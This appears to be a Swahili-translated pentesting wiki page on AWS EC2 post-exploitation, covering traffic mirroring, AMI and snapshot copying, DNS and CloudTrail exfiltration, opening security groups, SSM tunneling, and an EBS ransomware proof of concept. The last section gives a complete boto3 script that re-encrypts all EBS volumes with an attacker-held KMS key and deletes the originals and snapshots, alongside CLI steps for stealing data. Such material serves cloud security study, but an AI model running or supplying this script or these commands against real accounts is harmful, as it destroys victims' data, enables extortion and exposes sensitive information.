Kuhifadhiwa kwa trafiki ya VPC kunakili trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyokopwa kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.
Mshambuliaji anaweza kutumia hii kukamata trafiki yote na kupata taarifa nyeti kutoka kwake:
Kwa maelezo zaidi angalia ukurasa huu:
Copy Running Instance
Instances kwa kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia (angalia EC2 privilege escalation tricks). Hata hivyo, njia nyingine ya kuangalia kile kinachomo ni kuunda AMI na kuendesha instance mpya (hata kwenye akaunti yako mwenyewe) kutoka kwake:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.awsec2run-instances--image-idami-0b77e2d906b00202d--security-group-ids"sg-6d0d7f01"--subnet-idsubnet-9eb001ea--count1--instance-typet2.micro--key-name"AWS Audit"--query"Instances[0].InstanceId"--regioneu-west-1# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots ni nakala za volumes, ambazo kwa kawaida zitakuwa na taarifa nyeti, hivyo kuzikagua kunapaswa kufichua taarifa hii.
Ikiwa unapata volume bila snapshot unaweza: Kuunda snapshot na kufanya hatua zifuatazo au tu kuunganisha kwenye instance ndani ya akaunti:
Data Exfiltration
DNS Exfiltration
Hata kama unafunga EC2 ili hakuna trafiki inayoweza kutoka, bado inaweza kuondolewa kupitia DNS.
VPC Flow Logs haitarekodi hii.
Huna ufikiaji wa AWS DNS logs.
Zima hii kwa kuweka "enableDnsSupport" kuwa false na:
Mshambuliaji anaweza kuita API endpoints za akaunti inayodhibitiwa na yeye. Cloudtrail itarekodi hizi simu na mshambuliaji ataweza kuona data iliyovuja katika Cloudtrail logs.
Open Security Group
Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua port kama hii:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Inawezekana kuendesha EC2 instance na kuisajili kutumika kuendesha ECS instances kisha kuiba data ya ECS instances.
Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kuhamasisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kuhamasisha kutoka kwa Bastion Host hadi klasta ya EKS ya kibinafsi.
Ili kuanza kikao unahitaji kuwa na SessionManagerPlugin iliyosakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Sakinisha SessionManagerPlugin kwenye mashine yako
Trafiki kutoka kwa zana ya kubectl sasa inasambazwa kupitia tunnel ya SSM kupitia Bastion EC2 na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwa mashine yako mwenyewe kwa kukimbia:
kubectlgetpods--insecure-skip-tls-verify
Kumbuka kwamba muunganisho wa SSL utafaulu isipokuwa uweke bendera --insecure-skip-tls-verify (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitishwa kupitia handaki salama la AWS SSM, uko salama kutokana na aina yoyote ya mashambulizi ya MitM.
Hatimaye, mbinu hii si maalum kwa kushambulia vikundi vya EKS vya kibinafsi. Unaweza kuweka majina ya kikoa na bandari za kiholela kuhamasisha huduma nyingine yoyote ya AWS au programu maalum.
Tafuta taarifa nyeti katika AMIs za umma na binafsi
https://github.com/saw-your-packet/CloudShovel: CloudShovel ni chombo kilichoundwa ili kutafuta taarifa nyeti ndani ya picha za mashine za Amazon (AMIs) za umma au binafsi. Inafanya mchakato wa kuzindua mifano kutoka kwa AMIs lengwa, kuunganisha volumu zao, na kuchunguza kwa siri au data nyeti inayoweza kuwepo.
Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya baada ya unyakuzi wa S3. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo.
Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza funguo inayosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya funguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya funguo nje ya udhibiti wa AWS. Badilisha sera ya funguo ili kuruhusu kwa Akaunti yoyote ya AWS Principal kutumia funguo hiyo. Kwa sera hii ya funguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Sasa na funguo inayopatikana hadharani kutumia. Tunaweza kutumia akaunti ya 'madhara' ambayo ina baadhi ya EC2 instances zilizozinduliwa zikiwa na EBS volumes zisizohifadhiwa. EBS volumes za akaunti hii ya 'madhara' ndizo tunazolenga kwa ajili ya usimbaji, shambulio hili likiwa chini ya dhana ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu.
Hii inasababisha kuwa na EBS volumes tu zilizohifadhiwa zilizobaki katika akaunti.
Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS volumes za awali. EBS volumes za awali zisizohifadhiwa zimeondolewa sasa.
Ifuatayo, rudi kwenye sera ya funguo katika akaunti ya 'mshambuliaji' na uondoe sheria ya sera ya 'Ufunguo wa Nje' kutoka kwenye sera ya funguo.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya volumu za EBS zilizofichwa kwa ufunguo mpya. Utagundua kwamba unaweza kuunganisha volumu hiyo.
Lakini unapojaribu kuanzisha tena EC2 instance na volumu ya EBS iliyofichwa, itashindwa tu na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani volumu ya EBS iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena.
Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichuzi. Script itafanya nakala zilizofichwa za VOLUMLA ZOTE za EBS zinazopatikana zilizounganishwa kwa EC2 instances ZOTE katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, itatoa volumu za EBS za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha tu volumu za EBS zilizofichwa katika akaunti ya 'mwathirika' iliyolengwa. TUMIA TU SCRIPT HII KATIKA KIZAZI CHA MAJARIBIO, NI YA KUHARIBU NA ITAFUTA VOLUMLA ZOTE ZA EBS ZA AWALI. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka kukufahamisha kwamba hii ni PoC ya ransomware mwishoni mwa siku.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Kama mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia funguo inayopatikana hadharani kutoka akaunti ya 'mshambuliaji' kusimbia EBS volumes mpya, kisha kuondoa EBS volumes za awali kutoka kwa EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizohifadhiwa.
